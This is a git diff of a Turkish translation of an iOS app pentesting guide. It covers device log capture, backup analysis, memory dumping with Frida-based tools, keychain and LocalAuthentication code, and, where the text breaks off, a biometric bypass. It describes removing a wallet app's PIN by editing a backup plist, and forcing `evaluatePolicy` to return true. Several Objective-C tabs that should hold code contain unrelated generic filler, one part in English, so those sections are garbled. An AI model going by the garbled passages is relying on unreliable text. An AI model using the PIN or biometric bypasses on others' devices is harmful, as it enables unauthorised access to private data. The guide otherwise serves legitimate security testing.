bilgiler içerebileceğinden risk içerir**. Daha önce, iOS 6 ve önceki sürümlerinde, günlüklere tüm uygulamalar erişebiliyordu, bu da hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi günlüklerine erişebilirler**. -Bu kısıtlamalara rağmen, kilidini açmış bir cihaza fiziksel erişimi olan bir **saldırgan, cihazı bir bilgisayara bağlayarak kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kaydedildiğini unutmamak önemlidir. +Bu kısıtlamalara rağmen, **kilitli bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bu durumu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kalması önemlidir. -Riskleri azaltmak için, uygulama ile **etkileşimde bulunmak**, tüm işlevlerini ve girişlerini keşfetmek, yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmak için önerilir. +Riskleri azaltmak için, uygulama ile **etkileşimi detaylı bir şekilde** incelemek, tüm işlevlerini ve girdilerini keşfetmek ve yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmak önerilir. -Potansiyel sızıntılar için uygulamanın kaynak kodunu inceleyerek, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` gibi anahtar kelimeleri kullanarak hem **önceden tanımlanmış** hem de **özel kayıt ifadelerini** arayın. Dahili işlevler için ve özel uygulamalar için `Logging` veya `Logfile` gibi herhangi bir bahsetme için arama yapın. +Potansiyel sızıntılar için uygulamanın kaynak kodunu inceleyerek, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` gibi yerleşik işlevler için **önceden tanımlanmış** ve özel günlükleme ifadeleri için `Logging` veya `Logfile` gibi anahtar kelimeleri arayın. ### **Sistem Kayıtlarını İzleme** -Uygulamalar, hassas olabilen çeşitli bilgileri kaydeder. Bu kayıtları izlemek için, aşağıdaki gibi araçlar ve komutlar kullanılabilir: +Uygulamalar çeşitli hassas bilgileri kaydeder. Bu kayıtları izlemek için, araçlar ve komutlar gibi: ```bash idevice_id --list # To find the device ID idevicesyslog -u (| grep ) # To capture the device logs ``` -Aşağıdaki adımlar, **Xcode** kullanarak konsol günlüklerini toplamanın bir yolunu sağlar: +Ayrıca, **Xcode** konsol log'larını toplamanın bir yolunu sağlar: 1. Xcode'u açın. 2. iOS cihazını bağlayın. -3. **Pencere** -> **Cihazlar ve Simülatörler**'e gidin. +3. **Window** -> **Devices and Simulators**'e gidin. 4. Cihazınızı seçin. -5. İncelemekte olduğunuz sorunu tetikleyin. -6. Günlükleri yeni bir pencerede görüntülemek için **Konsolu Aç** düğmesini kullanın. +5. Araştırdığınız sorunu tetikleyin. +6. Logları yeni bir pencerede görüntülemek için **Open Console** düğmesini kullanın. -Daha gelişmiş günlükleme için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı günlük izleme sağlamak mümkündür: +Daha gelişmiş loglama için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlayabilir. ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` -Komutları izleyerek günlük etkinlikleri gözlemlemek, sorunları teşhis etmek veya günlüklerde potansiyel veri sızıntılarını belirlemek için son derece değerli olabilir. +Log aktivitelerini gözlemlemek için kullanılan komutlar, sorunları teşhis etmek veya günlüklerde potansiyel veri sızıntılarını belirlemek için son derece değerli olabilir. *** -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Yedeklemeler -iOS'a **otomatik yedekleme özellikleri** entegre edilmiştir ve iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz verilerinin kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler neredeyse tüm cihaz verilerini kapsar, ancak Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi son derece hassas unsurları içermez. +iOS'e entegre edilmiş **otomatik yedekleme özellikleri**, iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler neredeyse tüm cihaz verilerini kapsar, Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi son derece hassas unsurları hariç tutar. ### Güvenlik Riskleri -Yedeklemelerde **kurulu uygulamalar ve verileri** yer alması, potansiyel **veri sızıntısı** sorununu ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirebileceği riskini** ortaya çıkarır. Bu riskleri azaltmak için hassas bilgileri düz metin olarak herhangi bir uygulamanın dizininde veya alt dizinlerinde saklamamak önerilir. +Yedeklemelerde **kurulu uygulamalar ve verilerinin** bulunması, potansiyel **veri sızıntısı** sorununu ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirebileceği riskini** ortaya çıkarır. Bu riskleri azaltmak için **duyarlı bilgileri düz metin olarak saklamamak** önerilir. ### Yedeklemelerden Dosyaları Hariç Tutma -`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Hassas verilerin yedeklemelere dahil edilmesini önlemek için bu uygulama önemlidir. +`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini önlemek için önemlidir. ### Zafiyetlerin Test Edilmesi -Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturarak başlayın ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeklemeyi bulun. Yedeklemeyi, uygulama davranışını etkileyebilecek hassas verileri veya yapılandırmaları değiştirebilecek unsurlar açısından analiz edin. +Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği hassas veriler veya yapılandırmalar açısından analiz ederek uygulama davranışını etkileyebilecek değişiklikler yapılabilir. -Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeklemenin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarının kontrol edilerek doğrulanabilir. +Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir. ```xml @@ -702,19 +694,19 @@ Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) g ... ``` -Şifrelenmiş yedeklemelerle uğraşmak için, **backup_tool.py** ve **backup_passwd.py** gibi Python betikleri [DinoSec'in GitHub deposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) bulunabilir. Bunlar, en son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilir. Şifre korumalı yedeklemelerdeki dosyalara erişmek için başka bir seçenek ise [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/)dir. +Şifrelenmiş yedeklemelerle uğraşmak için, [DinoSec'in GitHub deposundaki](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) Python betikleri, örneğin **backup\_tool.py** ve **backup\_passwd.py**, son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilecek olsa da yararlı olabilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek olan [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) bulunmaktadır. ### Uygulama Davranışını Değiştirme -Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir. UI kilidi PIN'i, **pin_code** anahtarı altında `net.bither.plist` içinde saklanır. Bu anahtarı plist dosyasından kaldırarak ve yedeklemeyi geri yükleyerek PIN gereksinimini kaldırabilir ve sınırsız erişim sağlayabilirsiniz. +Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'inin **pin\_code** anahtarı altında `net.bither.plist` içinde saklandığı görülmektedir. Bu anahtarı plist'ten kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir. ## Hassas Veriler İçin Bellek Testi Özeti -Bir uygulamanın belleğinde depolanan hassas bilgilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak son derece önemlidir. Bellek içeriğini araştırmak için iki temel yaklaşım vardır: **bellek dökümü oluşturma** ve **belleği gerçek zamanlı olarak analiz etme**. Her iki yöntemin de, döküm süreci veya analiz sırasında önemli verilerin gözden kaçma potansiyeli gibi zorlukları vardır. +Bir uygulamanın belleğinde saklanan hassas bilgilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki temel yaklaşım vardır: **bir bellek dökümü oluşturmak** ve **belleği gerçek zamanlı olarak analiz etmek**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verilerin kaçırılma potansiyeli gibi zorlukları vardır. -## **Bellek Dökümü Almak ve Analiz Etmek** +## **Bir Bellek Dökümü Alıp Analiz Etmek** -Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Dökülen verileri analiz etmek için ise aradığınız bilginin doğasına bağlı olarak çeşitli araçlar kullanılır. +Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Bir kez döküldüğünde, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir. Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir: ```bash @@ -724,7 +716,7 @@ $ strings memory > strings.txt # Extracting strings using rabin2 $ rabin2 -ZZ memory > strings.txt ``` -Daha ayrıntılı bir analiz için, belirli veri türlerini veya desenleri aramak için **radare2**, kapsamlı arama yetenekleri sunar: +Daha detaylı bir analiz için, belirli veri türleri veya desenler aramak için **radare2**, kapsamlı arama yetenekleri sunar: ```bash $ r2 [0x00000000]> /? @@ -732,7 +724,7 @@ $ r2 ``` ## **Çalışma Zamanı Bellek Analizi** -**r2frida**, bir uygulamanın belleğini bir bellek dökümüne ihtiyaç duymadan gerçek zamanlı olarak incelemek için güçlü bir alternatif sunar. Bu araç, çalışan uygulamanın belleğinde arama komutlarının doğrudan yürütülmesini sağlar: +**r2frida**, bir uygulamanın belleğini bir bellek dökümüne ihtiyaç duymadan gerçek zamanlı olarak incelemek için güçlü bir alternatif sunar. Bu araç, çalışan uygulamanın belleği üzerinde arama komutlarının doğrudan yürütülmesini sağlar: ```bash $ r2 frida://usb// [0x00000000]> /\ @@ -741,51 +733,53 @@ $ r2 frida://usb// ### Zayıf Anahtar Yönetimi Süreçleri -Bazı geliştiriciler, hassas verileri yerel depolamada saklar ve kodda sabit/predictable bir anahtarla şifreler. Bu, bazı tersine mühendislik işlemleriyle saldırganların gizli bilgileri çıkarmasına izin vermemek için yapılmamalıdır. +Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kodda sabit/tahmin edilebilir bir anahtarla şifreler. Bu yapılmamalı çünkü bazı tersine mühendislik saldırıları, saldırganların gizli bilgileri çıkarmasına izin verebilir. -### Güvensiz ve/veya Kullanımdan Kalkmış Algoritmaların Kullanımı +### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı -Geliştiriciler, yetkilendirme kontrolü yapmak, veri depolamak veya göndermek için **kullanımdan kalkmış algoritmaları** kullanmamalıdır. Bu algoritmalar arasında RC4, MD4, MD5, SHA1 gibi algoritmalar bulunur. Örneğin, şifreleri depolamak için **hash** kullanılıyorsa, tuz ile birlikte brute-force **dayanıklı** hash'ler kullanılmalıdır. +Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** işlemleri için. Bu algoritmaların bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuz ile birlikte kullanıldığı kaba kuvvet saldırılarına dayanıklı olmalıdır. ### Kontrol -Kod içinde **sabit** şifreler/parolalar veya bunların **tahmin edilebilir** olup olmadığını bulmak ve kodun zayıf şifreleme algoritmaları kullanıp kullanmadığını kontrol etmek için yapılması gereken temel kontrollerdir. +Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunmadığını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı türde **zayıf** **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır. -İlginç bir şekilde, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak izleyebilirsiniz. Bunun için şu komutu kullanabilirsiniz: +İlginç olan şudur ki, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak **izleyebilirsiniz**. ```swift ios monitor crypt ``` -Daha fazla bilgi için iOS kriptografik API'ları ve kütüphaneleri hakkında [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) adresine erişin. +iOS şifreleme API'ları ve kütüphaneleri hakkında **daha fazla bilgi** için [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) ## Yerel Kimlik Doğrulama -**Yerel kimlik doğrulama**, özellikle şifreleme yöntemleri aracılığıyla uzaktan bir uç noktaya erişimi koruma konusunda önemli bir rol oynar. Buradaki temel nokta, uygun bir şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabileceğidir. +**Yerel kimlik doğrulama**, özellikle uzaktaki bir uç noktaya şifreleme yöntemleri aracılığıyla erişimi koruma konusunda önemli bir rol oynar. Buradaki esas nokta, uygun şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabilir olabileceğidir. -Apple'ın **[Yerel Kimlik Doğrulama çerçevesi](https://developer.apple.com/documentation/localauthentication)** ve **[anahtarlık](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)**, geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve gizli verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Enclave, Parmak İzi Kimliği için parmak izini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma temelinde çalışır. +Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırlı verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine kuruludur. Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır: -- Yüksek seviyeli kullanıcı kimlik doğrulama için **`LocalAuthentication.framework`**. -- Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulama ile gizli verileri güvence altına alır. [Açık kaynaklı sargılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir. + +* Yüksek seviyeli kullanıcı kimlik doğrulaması için **`LocalAuthentication.framework`**. +* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile sırlı verileri güvence altına alır. Çeşitli [açık kaynaklı sarmallar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir. {% hint style="danger" %} -Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` güvenlik açıkları sunar, çünkü öncelikle kimlik doğrulama süreçleri için veri iletimi yapmadan boolean değerler döndürürler, bu da atlatılabilirliklerine neden olur (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +Ancak, hem `LocalAuthentication.framework` hem de `Security.framework`, genellikle kimlik doğrulama süreçleri için veri iletimi yapmadan öncelikle boolean değerler döndürdükleri için güvenlik açıkları sunarlar, bu da onları atlanabilir hale getirir (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). {% endhint %} -### Yerel Kimlik Doğrulama Uygulama +### Yerel Kimlik Doğrulaması Uygulamak -Kullanıcıları kimlik doğrulaması için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir. Aşağıdaki seçenekler arasından seçim yapabilirler: -- **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için istekte bulunur, ikisi de etkinleştirilmediyse başarısız olur. -- **`deviceOwnerAuthenticationWithBiometrics`**: Sadece Touch ID için istekte bulunur. +Kullanıcıları kimlik doğrulaması için yönlendirmek için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, aşağıdakiler arasından seçim yaparak: -Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle gösterilir ve potansiyel bir güvenlik açığına işaret eder. +* **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi istemek, ikisi de etkin değilse başarısız olur. +* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Touch ID istemek. -### Anahtarlık Kullanarak Yerel Kimlik Doğrulama +Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden gelen boolean bir değerle gösterilir, potansiyel bir güvenlik açığına işaret eder. -iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama belirteçleri gibi gizli verileri güvenli bir şekilde depolamak için **anahtarlık API'larının** kullanılmasını içerir. Bu işlem, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama kullanılarak erişilebileceğini sağlar. +### Anahtarlık Kullanarak Yerel Kimlik Doğrulaması -Anahtarlık, `SecAccessControl` özniteliğiyle öğeleri ayarlamak için yetenek sunar, bu da öğeye erişimi, kullanıcının Touch ID veya cihaz şifresiyle başarılı bir şekilde kimlik doğrulamasını gerektirir. Bu özellik güvenliği artırmak için önemlidir. +iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi sırlı verileri güvenli bir şekilde saklamak için **anahtarlık API'ları** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama kullanılarak erişilebileceğini sağlar. -Aşağıda, bu güvenlik özelliklerinden yararlanarak anahtarlığa bir dizeyi kaydetme ve geri almayı gösteren Swift ve Objective-C kod örnekleri bulunmaktadır. Örnekler, erişim kontrolünü Touch ID kimlik doğrulamasını gerektirecek şekilde ayarlama ve verinin yalnızca ayarlandığı cihazda erişilebilir olmasını sağlama konusunda özellikle göstermektedir. +Anahtarlık, `SecAccessControl` özelliği ile öğeleri ayarlamayı sağlar, bu da kullanıcının Touch ID veya cihaz şifresi ile başarılı bir şekilde kimlik doğrulamasını yapana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir. + +Aşağıda, Swift ve Objective-C'de bir dizeyi anahtarlığa kaydetme ve geri almayı gösteren kod örnekleri bulunmaktadır, bu güvenlik özelliklerini kullanarak erişim kontrolünü ayarlamayı ve verinin yalnızca ayarlandığı cihazda, bir cihaz şifresinin yapılandırıldığı koşul altında erişilebilir olmasını sağlamayı özellikle göstermektedir. {% tabs %} {% tab title="Swift" %} @@ -825,21 +819,32 @@ if status == noErr { // error while saving } ``` +{% endtab %} + {% tab title="Objective-C" %} -Objective-C dili, iOS uygulamaları geliştirmek için kullanılan bir programlama dilidir. Bu dil, Apple'ın Cocoa ve Cocoa Touch çerçevelerini kullanarak iOS platformunda çalışan uygulamalar oluşturmak için kullanılır. +### iOS Uygulama Pentesting -Objective-C dilinde iOS uygulamalarını hacklemek için çeşitli teknikler bulunmaktadır. Bu teknikler arasında uygulama analizi, tersine mühendislik, bellek analizi ve güvenlik açıklarının keşfi bulunur. +Bu bölümde, iOS uygulamalarını pentest etmek için kullanılabilecek bazı temel teknikler ve araçlar hakkında bilgi bulabilirsiniz. -Uygulama analizi, iOS uygulamasının çalışma mantığını anlamak için kullanılan bir tekniktir. Bu teknik, uygulamanın kaynak kodunu incelemek, API çağrılarını izlemek ve uygulamanın davranışını anlamak için kullanılır. +#### Araçlar -Tersine mühendislik, iOS uygulamasının çalışma prensibini anlamak için kullanılan bir tekniktir. Bu teknik, uygulamanın derlenmiş kodunu analiz etmek, işlevlerini ve veri yapılarını anlamak için kullanılır. +- **MobSF**: Otomatik olarak iOS uygulamalarını analiz etmek için kullanılan açık kaynaklı bir mobil güvenlik çerçevesi. +- **Needle**: iOS uygulamalarını test etmek için kullanılan bir framework. +- **Cycript**: iOS uygulamalarını canlı olarak analiz etmek için kullanılan bir araç. +- **Clutch**: iOS uygulamalarını kırıp çıkarmak için kullanılan bir araç. +- **Frida**: Dinamik olarak iOS uygulamalarını manipüle etmek için kullanılan bir araç. -Bellek analizi, iOS uygulamasının bellek kullanımını incelemek için kullanılan bir tekniktir. Bu teknik, uygulamanın bellek alanlarını izlemek, bellek sızıntılarını tespit etmek ve güvenlik açıklarını keşfetmek için kullanılır. +#### Temel Teknikler -Güvenlik açıklarının keşfi, iOS uygulamasında bulunan güvenlik açıklarını tespit etmek için kullanılan bir tekniktir. Bu teknik, uygulamanın zayıf noktalarını tespit etmek, yetkilendirme hatalarını bulmak ve veri sızıntılarını keşfetmek için kullanılır. +- **Tersine Mühendislik**: Uygulamanın çalışma mantığını anlamak için kullanılır. +- **Veri Depolama Analizi**: Uygulamanın yerel olarak depoladığı hassas verileri bulmak için kullanılır. +- **Ağ Trafik Analizi**: Uygulamanın ağ trafiğini izleyerek hassas verilerin nasıl iletilip alındığını anlamak için kullanılır. +- **Güvenlik Zafiyetleri Analizi**: Uygulamada yaygın güvenlik zafiyetlerini araştırmak için kullanılır. -Objective-C dilini kullanarak iOS uygulamalarını hacklemek için bu teknikleri kullanabilirsiniz. Ancak, bu teknikleri yasal ve etik sınırlar içinde kullanmanız önemlidir. +Bu temel teknikler ve araçlar, iOS uygulamalarını pentest etmek için başlangıç noktanız olabilir. Daha fazla bilgi edinmek ve becerilerinizi geliştirmek için pratik yapmayı unutmayın! + +{% endtab %} ```objectivec // 1. create AccessControl object that will represent authentication settings CFErrorRef *err = nil; @@ -870,10 +875,7 @@ if (status == noErr) { {% endtab %} {% endtabs %} -Şimdi anahtar zincirinden kaydedilen öğeyi isteyebiliriz. Anahtar zinciri hizmetleri, kullanıcıya kimlik doğrulama iletişim kutusunu sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil döndürecektir. - -{% tabs %} -{% tab title="Swift" %} +Artık anahtarlıkta kaydedilen öğeyi isteyebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama iletişim kutusunu sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil döndürecektir. ```swift // 1. define query var query = [String: Any]() @@ -896,21 +898,38 @@ let password = String(data: queryResult as! Data, encoding: .utf8)! // authorization not passed } ``` +{% endtab %} + {% tab title="Objective-C" %} -Objective-C dili, iOS uygulamaları geliştirmek için kullanılan bir programlama dilidir. Bu dil, Apple'ın Cocoa ve Cocoa Touch çerçevelerini kullanarak iOS platformunda çalışan uygulamalar oluşturmak için kullanılır. +## Objective-C -Objective-C dilinde iOS uygulamalarını hacklemek için çeşitli teknikler bulunmaktadır. Bu teknikler arasında uygulama analizi, tersine mühendislik, bellek analizi ve güvenlik açıklarının keşfi bulunur. +Objective-C is the primary programming language used for iOS app development. When performing iOS pentesting, it is essential to understand Objective-C code to identify security vulnerabilities effectively. -Uygulama analizi, iOS uygulamasının çalışma mantığını anlamak için kullanılan bir tekniktir. Bu teknik, uygulamanın kaynak kodunu incelemek, API çağrılarını izlemek ve uygulamanın davranışını anlamak için kullanılır. +### Tools for Analyzing Objective-C Code -Tersine mühendislik, iOS uygulamasının çalışma prensibini anlamak için kullanılan bir tekniktir. Bu teknik, uygulamanın derlenmiş kodunu analiz etmek, işlevlerini ve veri yapılarını anlamak için kullanılır. +There are several tools available for analyzing Objective-C code during iOS pentesting: -Bellek analizi, iOS uygulamasının bellek kullanımını incelemek için kullanılan bir tekniktir. Bu teknik, uygulamanın bellek alanlarını izlemek, bellek sızıntılarını tespit etmek ve güvenlik açıklarını keşfetmek için kullanılır. +1. **Hopper Disassembler**: A reverse engineering tool that can be used to disassemble, decompile, and debug applications. -Güvenlik açıklarının keşfi, iOS uygulamasında bulunan güvenlik açıklarını tespit etmek için kullanılan bir tekniktir. Bu teknik, uygulamanın zayıf noktalarını tespit etmek, yetkilendirme hatalarını bulmak ve veri sızıntılarını keşfetmek için kullanılır. +2. **class-dump**: A command-line utility that generates Objective-C headers from Mach-O files. -Objective-C dilini kullanarak iOS uygulamalarını hacklemek için bu teknikleri kullanabilirsiniz. Ancak, bu teknikleri yasal ve etik sınırlar içinde kullanmanız önemlidir. +3. **otool**: A command-line tool for examining the contents of Mach-O files. + +4. **IDA Pro**: A powerful disassembler and debugger that supports Objective-C. + +### Common Vulnerabilities in Objective-C Code + +Some common security vulnerabilities found in Objective-C code include: + +- **Insecure Data Storage**: Storing sensitive data in an insecure manner. +- **Input Validation Issues**: Failing to properly validate user input. +- **Insecure Communication**: Transmitting data over insecure channels. +- **Memory Management Errors**: Improper handling of memory can lead to vulnerabilities like buffer overflows. + +By using the mentioned tools and understanding common vulnerabilities, security professionals can effectively identify and mitigate security risks in Objective-C code during iOS pentesting. + +{% endtab %} ```objectivec // 1. define query NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, @@ -931,36 +950,26 @@ NSLog(@"%@", password); NSLog(@"Something went wrong"); } ``` -{% endtab %} -{% endtabs %} - ### Tespit -Bir uygulamada kullanılan çerçeveler, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek tespit edilebilir. Bunun için `otool` kullanılabilir: +Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz edilerek de tespit edilebilir. Bunun için `otool` kullanılabilir: ```bash $ otool -L .app/ ``` -Eğer bir uygulamada `LocalAuthentication.framework` kullanılıyorsa, çıktı aşağıdaki iki satırı içerecektir (unutmayın ki `LocalAuthentication.framework`, arka planda `Security.framework` kullanır): - -```plaintext -- Security.framework -- LocalAuthentication.framework -``` - -Eğer bir uygulama `LocalAuthentication.framework` kullanmıyorsa, çıktı sadece `Security.framework` satırını içerecektir. +Eğer bir uygulamada `LocalAuthentication.framework` kullanılıyorsa, çıktı hem aşağıdaki satırları içerecektir (unutmayın ki `LocalAuthentication.framework` aslında `Security.framework`'ü kullanır): ```bash /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/Security.framework/Security ``` Eğer `Security.framework` kullanılıyorsa, sadece ikinci olan gösterilecektir. -### Yerel Kimlik Doğrulama Çerçevesi Atlama +### Yerel Kimlik Doğrulama Çerçevesi Atlatma #### **Objection** -**Objection Biometrics Bypass** üzerinden, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) yer alan bir teknik, **LocalAuthentication** mekanizmasını aşmak için kullanılabilir. Bu yaklaşımın temelinde, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'nın kullanılması yer alır ve bu sayede gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için oldukça kullanışlıdır. +**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı 